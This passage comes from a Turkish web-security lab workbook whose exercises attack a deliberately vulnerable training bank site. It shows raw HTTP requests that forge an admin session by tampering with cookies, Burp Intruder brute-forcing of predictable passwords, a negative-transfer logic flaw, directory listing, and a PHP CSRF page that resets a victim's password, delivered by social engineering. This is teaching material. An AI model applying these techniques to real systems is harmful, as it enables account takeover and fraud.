  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak
Senaryo:	
  Öncelikle	
  hedef	
  sistemde	
  yönetim	
  paneli	
  bulunur.	
  Ardından	
  yanlış	
  bilgilerle	
  giriş	
  
yapılmaya	
   çalışılır.	
   Sunucudan	
   gelen	
   cevap	
   takip	
   edildiğinde	
   Set-­‐cookie	
   başlık	
   bilgisinde	
  
“is_admin=false”	
  gibi	
  bir	
  değerin	
  döndüğü	
  görülür.	
  Bu	
  değer	
  true	
  olarak	
  girilse	
  dahi	
  yönetici	
  
kullanıcı	
   bilgilerine	
   sahip	
   olmadan	
   giriş	
   yapılamayacaktır.	
   Bu	
   nedenle	
   uygulamaya	
   normal	
  
müşteri	
  olarak	
  giriş	
  yapılmaya	
  çalışılır	
  (Beni	
  hatırla	
  seçeneğinin	
  aktif	
  olması	
  gerekir.).	
  Giden	
  
isteğe	
  araya	
  girilerek	
  Cookie	
  başlık	
  bilgisine	
  is_admin=true	
  değeri	
  eklenir.	
  Ancak	
  bu	
  da	
  tek	
  
başına	
  yeterli	
  olmayacaktır.	
  Normal	
  bir	
  müşteriye	
  sunucudan	
  cookie	
  bilgisinde	
  user_id,	
  u_p,	
  
u_a	
   gibi	
   geriye	
   değerler	
   döner.	
   Bu	
   değerler	
   user_id	
   haricinde	
   encode	
   olarak	
   geldiği	
   için	
  
anahtar	
  olmadan	
  çözmek	
  zordur.	
  user_id	
  değeri	
  ise	
  kullanıcının	
  sistemde	
  kayıtlı	
  olduğu	
  id	
  
değeridir.	
  Yönetici	
  olarak	
  giriş	
  yapabilmek	
  için	
  yöneticinin	
  user_id	
  değerini	
  de	
  tahmin	
  etmek	
  
gerekir.	
  Web	
  uygulamalarında	
  genelde	
  yönetici	
  değerleri	
  0,1	
  gibi	
  değerler	
  taşır.	
  BGA	
  Bank’da	
  
user_id=1	
   ve	
   user_id=2	
   değerleri	
   müşteri	
   temsilcilerine	
   aittir.	
   Cookie	
   başlık	
   bilgisinde	
  
bulunan	
  user_id	
  bu	
  değerlerden	
  birisiyle	
  değiştirilip	
  istek	
  gönderildiğinde	
  yönetici	
  paneli	
  ele	
  
geçirilmiş	
  olur.	
  
1)	
  Yönetici	
  paneline	
  giriş	
  denenir.	
  
Gönderilen	
  İstek	
  
GET	
  /ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=AA	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,	
  */*;	
  q=0.01	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Content-­‐Type:	
  text/plain;	
  charset:UTF-­‐8	
  
X-­‐Requested-­‐With:	
  XMLHttpRequest	
  
Referer:	
  http://isube.bgabank.com/administrator.aspx	
  
Cookie:	
  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6	
  
DNT:	
  1	
  
Connection:	
  keep-­‐alive	
  
	
  
Sunucudan	
  Dönen	
  Cevap	
  ve	
  Set-­‐Cookie	
  Değeri	
  
HTTP/1.1	
  200	
  OK	
  
Date:	
  Sat,	
  13	
  Sep	
  2014	
  19:17:58	
  GMT	
  
Server:	
  Apache/2.4.7	
  (Ubuntu)	
  
X-­‐Powered-­‐By:	
  PHP/5.5.9-­‐1ubuntu4.3	
  
Expires:	
  Thu,	
  19	
  Nov	
  1981	
  08:52:00	
  GMT	
  
Cache-­‐Control:	
  no-­‐store,	
  no-­‐cache,	
  must-­‐revalidate,	
  post-­‐check=0,	
  pre-­‐check=0	
  
Pragma:	
  no-­‐cache	
  
L-­‐IP:	
  172.16.16.100	
  
Set-­‐Cookie:	
  is_admin=false;	
  expires=Sat,	
  13-­‐Sep-­‐2014	
  20:17:58	
  GMT;	
  Max-­‐Age=3600	
  
Content-­‐Length:	
  22	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   63	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Keep-­‐Alive:	
  timeout=5,	
  max=100	
  
Connection:	
  Keep-­‐Alive	
  
Content-­‐Type:	
  text/html	
  
	
  
Bilgileriniz	
  Yanlış!	
  
	
  
	
  
Şekil	
  61.	
  Sunucudan	
  Dönen	
  Cevap	
  
2)	
  Müşteri	
  girişi	
  POST	
  isteği	
  parametreleri	
  aşağıdaki	
  gibi	
  değiştirilerek	
  istek	
  olarak	
  sunucuya	
  
gönderilir.	
  
Normal	
  müşteri	
  girişi,	
  POST	
  isteği	
  aşağıdaki	
  gibidir.	
  Bu	
  isteğe	
  araya	
  girip	
  user_id	
  değerinin	
  
değiştirilmesi	
   ve	
   is_admin=true	
   değerinin	
   eklenmesi	
   gerekir.	
  
	
  
Gönderilen	
  İstek	
  
POST	
  /giris.aspx	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;	
  is_admin=false	
  
Connection:	
  keep-­‐alive	
  
Content-­‐Type:	
  application/x-­‐www-­‐form-­‐urlencoded	
  
Content-­‐Length:	
  38	
  
	
  
b_musterino=10000142&b_password=100011	
  
	
  
	
  
	
  
	
  
	
  
64	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
user_id	
  ve	
  is_admin	
  parametre	
  değerleri	
  değiştirilerek	
  gönderilen	
  POST	
  isteği	
  
POST	
  /giris.aspx	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
  user_id=1;	
  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;	
  is_admin=true	
  
Connection:	
  keep-­‐alive	
  
Content-­‐Type:	
  application/x-­‐www-­‐form-­‐urlencoded	
  
Content-­‐Length:	
  38	
  
	
  
b_musterino=10000142&b_password=100011	
  
	
  
	
  
Şekil	
  62.	
  Yönetim	
  Paneli	
  
Bu	
   panelde	
   başka	
   bir	
   menüye	
   gidilmek	
   istendiğinde	
   yine	
   araya	
   girip	
   user_id	
   ve	
   is_admin	
  
parametrelerinin	
   düzenlenmesi	
   gerekir.	
   Örnek	
   olarak	
   mesajlar	
   kısmına	
   girmek	
   için	
   giden	
  
istek	
  aşağıdaki	
  gibi	
  olacaktır.	
  
Gönderilen	
  İstek	
  
GET	
  /mesajlar.aspx	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;	
  is_admin=false	
  
DNT:	
  1	
  
Connection:	
  keep-­‐alive	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   65	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Düzenlemeler	
  Yapılan	
  	
  İstek	
  
GET	
  /mesajlar.aspx	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Windows	
  NT	
  6.3;	
  WOW64;	
  rv:32.0)	
  Gecko/20100101	
  Firefox/32.0	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
  user_id=1;	
  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;	
  is_admin=true	
  
DNT:	
  1	
  
Connection:	
  keep-­‐alive	
  
	
  
Mesajlar	
  kısmı	
  görüntülenir.	
  (Şekil	
  63)	
  
	
  
Şekil	
  63.	
  Mesajlar	
  Sayfası	
  
	
   	
  
66	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
25. Müşteri Parolasının Tahmin Edilebilir Olması
BGA	
   Bank	
   uygulamasında	
   yeni	
   müşteri	
   olmak	
   için	
   Başvuru	
   menüsü	
   aracılığıyla	
   başvuru	
  
yapılabilir.	
   Kayıt	
   olunan	
   e-­‐posta	
   adresine	
   kullanıcının	
   detaylı	
   hesap	
   ve	
   kart	
   bilgisi	
  
yollanmaktadır.	
   Örnek	
   postada	
   görülebileceği	
   gibi	
   parola	
   bilgisi	
   uygulama	
   tarafından	
  
belirlenmektedir.	
  (Şekil	
  64)	
  
	
  
	
  
Şekil	
  64.	
  Müşteri	
  Bilgilerini	
  İçeren	
  Posta	
  
Bu	
   bilgilerle	
   giriş	
   yapılırken	
   giden	
   istekte	
   uygulamanın	
   atadığı	
   user_id	
   değeri	
   (user_id=8)	
  
görülebilir.	
  Parola	
  bilgisi	
  ise	
  100008’dir.	
  Bu	
  noktada	
  parola	
  bilgisinin	
  user_id	
  değerine	
  göre	
  
belirlendiği	
  düşünülebilir.	
  	
  
GET	
  /	
  HTTP/1.1	
  
Host:	
  isube.bgabank.com	
  
User-­‐Agent:	
   Mozilla/5.0	
   (Macintosh;	
   Intel	
   Mac	
   OS	
   X	
   10.9;	
   rv:28.0)	
   Gecko/20100101	
  
Firefox/28.0	
  
Accept:	
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.5	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
DNT:	
  1	
  
Referer:	
  http://isube.bgabank.com/giris.aspx	
  
Cookie:	
   PHPSESSID=utaav0saru5r2t2kusvr21u4k5;	
   u_a=7OhHhvLLFV8%3D;	
  
u_p=%2F2Ytv12Ui1o%3D;	
  user_id=8;	
  u__=true	
  
Connection:	
  keep-­‐alive	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   67	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Bu	
  tahmini	
  doğrulamak	
  için	
  Burp	
  ile	
  araya	
  girilip	
  müşteri	
  numarası	
  ve	
  parola	
  bilgisine	
  fuzzing	
  
uygulanır.	
   b_musterino	
   ve	
   b_password	
   parametrelerine	
   fuzzing	
   yapılır.	
   Sağ	
   tıklanıp	
  
Intruder’a	
  gönderilir.	
  
	
  
Şekil	
  65.	
  Payload	
  Positions	
  
Intruder	
  sekmesine	
  geçilir	
  ve	
  payload	
  1	
  kısmı	
  (b_musterino)	
  için	
  ayarlar	
  şekil	
  66.	
  da	
  ki	
  gibidir.	
  
	
  
Şekil	
  66.	
  Intruder	
  Ayarlar	
  
68	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
Payload	
  2	
  (b_password)	
  için	
  ayarlar	
  şekil	
  67	
  de	
  ki	
  gibidir.	
  
	
  
Şekil	
  67.	
  Payload	
  2	
  Ayarlar	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   69	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Bu	
  ayarlar	
  ile	
  saldırı	
  başlatılır	
  ve	
  şekil	
  68	
  deki	
  gibi	
  başka	
  bir	
  kullanıcıya	
  ait	
  kullanıcı	
  bilgisi	
  elde	
  
edilebilir.	
  
	
  
	
  
Şekil	
  68.	
  Başka	
  Bir	
  Kullanıcı	
  
	
   	
  
70	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye
Arttırma)
BGABank	
  uygulaması	
  Havale/EFT	
  işlemlerinde	
  gönderilecek	
  miktar	
  kısmında	
  -­‐	
  (negatif)	
  bir	
  
değer	
   girildiğinde	
   kullanılabilir	
   bakiyenin	
   arttığı	
   görülecektir.	
   Şekil	
   69.	
   da	
   -­‐10	
   lira	
  
gönderilmiştir.	
  
Şekil	
  69.	
  Para	
  Havale	
  İşlemi	
  
Bakiyenin	
  gönderim	
  sonrasında	
  ise	
  10009	
  lira	
  (1	
  lira	
  havale	
  ücreti)	
  olduğu	
  görülebilir.	
  (Şekil	
  
70)	
  
	
  
Şekil	
  70.	
  Hesap	
  Bilgileri	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   71	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
27. Dizin Listeleme/İfşa Zafiyeti
URL	
   http://isube.bgabank.com/assets/	
  
http://isube.bgabank.com/assets/contents/	
  
http://isube.bgabank.com/assets/admin/	
  
http://isube.bgabank.com/style/	
  
Tablo	
  23.	
  Dizinler	
  
İstemciler	
   tarafından	
   gelen	
   URL	
   istekleri	
   bir	
   dizini	
   ifade	
   etmesi	
   durumunda,	
   dizin	
   içeriği	
  
listelenmektedir.	
   Bu	
   durum,	
   bir	
   saldırganın	
   adını	
   bildiği,	
   öğrendiği	
   ya	
   da	
   tahmin	
   ettiği	
  
dizinlerin	
   içeriğini	
   listeleyebilmesine	
   imkan	
   vermektedir.	
   	
   Listelenen	
   dosya	
   ve	
   klasörlerin	
  
arasında	
  önemli	
  bilgiler	
  olabilir.	
  
	
  
	
  
Şekil	
  71.	
  Dizin	
  Listeleme	
  
	
  
72	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı
Senaryo:	
  Hedef	
  kullanıcı,	
  sistemde	
  müşteri	
  numarası	
  ve	
  şifresi	
  ile	
  oturum	
  açar.	
  Saldırgan,	
  
müşteri	
   şifresini	
   değiştirip,	
   hedef	
   müşterinin	
   hesabından	
   kendi	
   hesabına	
   para	
   aktarmayı	
  
amaçlamıştır.	
  Bunun	
  için	
  normal	
  bir	
  müşteri	
  gibi	
  bankada	
  hesap	
  açtırır	
  ve	
  internet	
  şubesini	
  
kullanmaya	
   başlar.	
   Şifre	
   değiştirme	
   sayfasında	
   CSRF	
   için	
   herhangi	
   bir	
   önlem	
   alınıp	
  
alınmadığını,	
  alındıysa	
  doğru	
  çalışıp	
  çalışmadığını	
  veya	
  atlatılıp	
  atlatılamaya-­‐	
  cağını	
  araştırır.	
  
Araştırmalar	
   sonucunda	
   hedef	
   müşteriye	
   yollayacağı	
   sayfayı	
   kodlar.	
   Kodladığı	
   dosyayı	
  
internete	
   yükler	
   ve	
   hedefine	
   sosyal	
   mühendislik	
   ile	
   dosyanın	
   adresini	
   gönderir.	
   Müşteri,	
  
oturumu	
  açıkken	
  linke	
  tıklar	
  ve	
  şifresi	
  saldırganın	
  istediği	
  şekilde	
  değiştirilmiş	
  olur.	
  Saldırgan	
  
amacına	
  ulaşmıştır.	
  
BGA	
  Bank	
  ‘da	
  yukarıda	
  anlatılan	
  senaryo	
  uygulanabilir.	
  Şekil	
  72.	
  de	
  şifre	
  değiştirme	
  paneli	
  
gösterilmiştir.	
  
	
  	
  	
  
Şekil	
  72.	
  Müşteri	
  Şifre	
  Değiştirme	
  Paneli	
  
BGA	
  Bank	
  şifre	
  değiştirme	
  panelinde	
  CSRF	
  önlemi	
  olarak	
  şekil	
  72'	
  de	
  	
  görüldüğü	
  gibi	
  forma	
  
"Eski	
   Şifrenizi	
   Giriniz	
   "	
   bölümü	
   eklenmiştir.	
   Fakat	
   bu	
   bölüm,	
   sunucu	
   tarafında	
   kontrol	
  
edilmediğinden	
   herhangi	
   bir	
   önemi	
   yoktur.	
   Amaç	
   koruma	
   var	
   gibi	
   gösterip,	
   saldırganı	
  
yanıltarak	
  CSRF	
  denemesini	
  engellemektir.	
  
Saldırı	
  adım	
  adım	
  aşağıda	
  anlatılmıştır.	
  	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   73	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
1)	
  Saldırgan	
  sisteme	
  müşteri	
  olarak	
  kayıt	
  olur.	
  Şifre	
  değiştirme	
  panelini	
  inceler	
  ve	
  hedefe	
  
göndereceği	
  sayfayı	
  uygun	
  bir	
  dilde	
  kodlar.	
  	
  
<?php	
  
$ch	
  =	
  
curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked");	
  
curl_setopt($ch,	
  CURLOPT_HTTPHEADER,	
  array("X-­‐Requested-­‐With:	
  xmlhttprequest"));	
  
$result	
  =	
  curl_exec	
  ($ch);	
  
curl_close	
  ($ch);	
  
?>	
  
CSRF.php	
  
Yukarıda	
   belirtilen	
   kod	
   parçacığında	
   3.	
   satırda	
   belirtilen	
   URL	
   ‘e	
   PHP-­‐Curl	
   kütüphanesi	
  
kullanılarak	
  GET	
  isteği	
  gönderilmiştir.	
  Sayfa	
  tarayıca	
  yüklenir	
  yüklenmez	
  veritabanındaki	
  id	
  si	
  
11	
  olan	
  kullanıcının	
  şifresi	
  “hacked”	
  olarak	
  değişecektir.	
  
2)	
  Saldırgan	
  kodladığı	
  sayfayı	
  internete	
  yükler.	
  Bu	
  dökümanda	
  anlatım	
  için	
  yüklenilen	
  adres	
  
tablo	
  24.	
  de	
  gösterilmiştir.	
  (Örnektir)	
  
URL	
   http://www.bgabank.com/csrf.php	
  
Tablo	
  23.	
  Yüklenilen	
  Dosya	
  Adresi	
  
3)	
   Dosya	
   linkini	
   hedefe	
   gönderir,	
   göndermeden	
   önce	
   BGA	
   Bank	
   oturumunun	
   açık	
  
olduğundan	
  emin	
  olur.	
  (Şekil	
  73)	
  
	
  
Şekil	
  73.	
  Sosyal	
  Mühendislik	
  
	
  
	
  
	
  
	
  
74	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
4)	
  Hedef,	
  bankada	
  oturumu	
  açıkken	
  maili	
  görür	
  ve	
  belirtilen	
  linke	
  tıklar.	
  (Şekil	
  74)	
  
	
  
Şekil	
  74.	
  Hedef	
  Linke	
  Tıklar	
  
	
  
Şekil	
  75.	
  Şifre	
  Değişir	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   75	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
5)	
  Sistemden	
  çıkış	
  yapan	
  hedef	
  kullanıcı	
  tekrar	
  hesabına	
  eski	
  şifresi	
  ile	
  giriş	
  yapmayı	
  dener	
  ve	
  
erişemez	
  çükü	
  şifresi	
  değişmiştir.	
  (Şekil	
  76)	
  
	
  
Şekil	
  76.	
  Hedef	
  Giriş	
  Yapamaz	
  
	
  
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1

Contenu connexe

Tendances

SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakSSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakBGA Cyber Security
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıAhmet Gürel
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziBGA Cyber Security
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18BGA Cyber Security
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Siber Güvenlik ve Etik Hacking Sunu - 3
